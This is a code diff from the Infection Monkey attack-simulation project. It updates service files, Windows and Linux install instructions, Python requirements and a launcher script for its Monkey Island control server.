/var/monkey/monkey_island/bin/python/bin/python monkey_island.py /var/monkey/monkey_island/bin/python/bin/python monkey_island.py

View File

@ -8,7 +8,7 @@ respawn limit unlimited
script script
chdir /var/monkey chdir /var/monkey
exec python monkey_island/cc/main.py exec monkey_island/bin/python/bin/python monkey_island.py
end script end script
post-stop script post-stop script

View File

@ -1,18 +0,0 @@
description "Monkey Island Mongo Service"
start on runlevel [2345]
stop on runlevel [!2345]
respawn
respawn limit unlimited
script
chdir /var/monkey/monkey_island/
exec /var/monkey/monkey_island/bin/mongodb/bin/mongod --dbpath db
end script
post-stop script
if [ -n $UPSTART_EVENTS ]; then
exec sleep 3
fi
end script

View File

@ -1,6 +1,5 @@
[Unit] [Unit]
Description=Monkey Island Service Description=Monkey Island Service
Wants=monkey-mongo.service
After=network.target After=network.target
[Service] [Service]

View File

@ -1,12 +0,0 @@
[Unit]
Description=Monkey Island Mongo Service
After=network.target
[Service]
ExecStart=/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db
KillMode=process
Restart=always
ExecStop=/var/monkey/monkey_island/bin/mongodb/bin/mongod --shutdown
[Install]
WantedBy=multi-user.target

View File

@ -6,26 +6,23 @@ How to set up the Monkey Island server:
---------------- On Windows ----------------: ---------------- On Windows ----------------:
0. Exclude the folder you are planning to install the Monkey in from your AV software, as it might block or delete files from the installation. 0. Exclude the folder you are planning to install the Monkey in from your AV software, as it might block or delete files from the installation.
1. Create folder "bin" under monkey_island 1. Create folder "bin" under monkey_island
2. Place portable version of Python 2.7 2. Place portable version of Python 2.7.15
2.1. Download and install from: https://www.python.org/download/releases/2.7/ 2.1. Download and install from: https://www.python.org/downloads/release/python-2715/
2.2. Install the required python libraries using "python -m pip install -r monkey_island\requirements.txt" 2.2. Install virtualenv using "python -m pip install virtualenv"
2.3. Copy contents from installation path (Usually C:\Python27) to monkey_island\bin\Python27 2.3. Create a virtualenv using "python -m virtualenv --always-copy <PATH TO BIN>\Python27" Where <PATH TO BIN> is the path to the bin folder created on step 1.
2.4. Copy Python27.dll from System32 folder (Usually C:\Windows\System32 or C:\Python27) to monkey_island\bin\Python27 2.4. Run "python -m virtualenv --relocatable <PATH TO BIN>\Python27"
2.5. (Optional) You may uninstall Python27 if you like. 2.5. Install the required python libraries using "<PATH TO BIN>\Python27\Scripts\python -m pip install -r monkey_island\requirements.txt"
2.6. Copy DLLs from installation path (Usually C:\Python27\DLLs) to <PATH TO BIN>\Python27\DLLs
2.7. (Optional) You may uninstall Python27 if you like.
3. Setup mongodb (Use one of the following two options): 3. Setup mongodb (Use one of the following two options):
3.1 Place portable version of mongodb 3.a Place portable version of mongodb
3.1.1 Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip 3.a.1. Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip
3.2.1 Extract contents from bin folder to monkey_island\bin\mongodb. 3.a.2. Extract contents from bin folder to monkey_island\bin\mongodb.
3.3.1 Create monkey_island\db folder. 3.a.3. Create monkey_island\db folder.
OR OR
3.b. Use already running instance of mongodb
3.1 If you have an instance of mongodb running on a different host, set the MONKEY_MONGO_URL environment variable: 3.b.1. Run 'set MONKEY_MONGO_URL="mongodb://<SERVER ADDR>:27017/monkeyisland"'. Replace '<SERVER ADDR>' with address of mongo server
example for mongodb running on host with IP address 192.168.10.10:
set MONKEY_MONGO_URL="mongodb://192.168.10.10:27107/monkeyisland"
4. Place portable version of OpenSSL 4. Place portable version of OpenSSL
4.1. Download from: https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip 4.1. Download from: https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip
4.2. Extract content from bin folder to monkey_island\bin\openssl 4.2. Extract content from bin folder to monkey_island\bin\openssl
@ -67,23 +64,16 @@ How to run:
monkey-windows-64.exe - monkey binary for windows 64bi monkey-windows-64.exe - monkey binary for windows 64bi
4. Setup MongoDB (Use one of the two following options): 4. Setup MongoDB (Use one of the two following options):
4.a. Download MongoDB and extract it to /var/monkey_island/bin/mongodb
4.1 Download MongoDB and extract it to /var/monkey_island/bin/mongodb
for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz
for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz
find more at - https://www.mongodb.org/downloads#production find more at - https://www.mongodb.org/downloads#production
untar.gz with: tar -zxvf filename.tar.gz -C /var/monkey_island/bin/mongodb untar.gz with: tar -zxvf filename.tar.gz -C /var/monkey_island/bin/mongodb
(make sure the content of the mongo folder is in this directory, meaning this path exists: (make sure the content of the mongo folder is in this directory, meaning this path exists:
/var/monkey_island/bin/mongodb/bin) /var/monkey_island/bin/mongodb/bin)
OR OR
4.b. Use already running instance of mongodb
4.1 If you have an instance of mongodb running on a different host, set the MONKEY_MONGO_URL environment variable: 4.b.1. Run 'set MONKEY_MONGO_URL="mongodb://<SERVER ADDR>:27017/monkeyisland"'. Replace '<SERVER ADDR>' with address of mongo server
example for mongodb running on host with IP address 192.168.10.10:
set MONKEY_MONGO_URL="mongodb://192.168.10.10:27107/monkeyisland"
5. install OpenSSL 5. install OpenSSL
sudo apt-get install openssl sudo apt-get install openssl

View File

@ -13,6 +13,6 @@ jsonschema
netifaces netifaces
ipaddress ipaddress
enum34 enum34
PyCrypto pycryptodome
boto3 boto3
awscli awscli

View File

@ -1,4 +1,4 @@
@title C^&C Server @title C^&C Server
@pushd .. @pushd ..
@monkey_island\bin\Python27\python monkey_island.py @monkey_island\bin\Python27\Scripts\python monkey_island.py
@popd @popd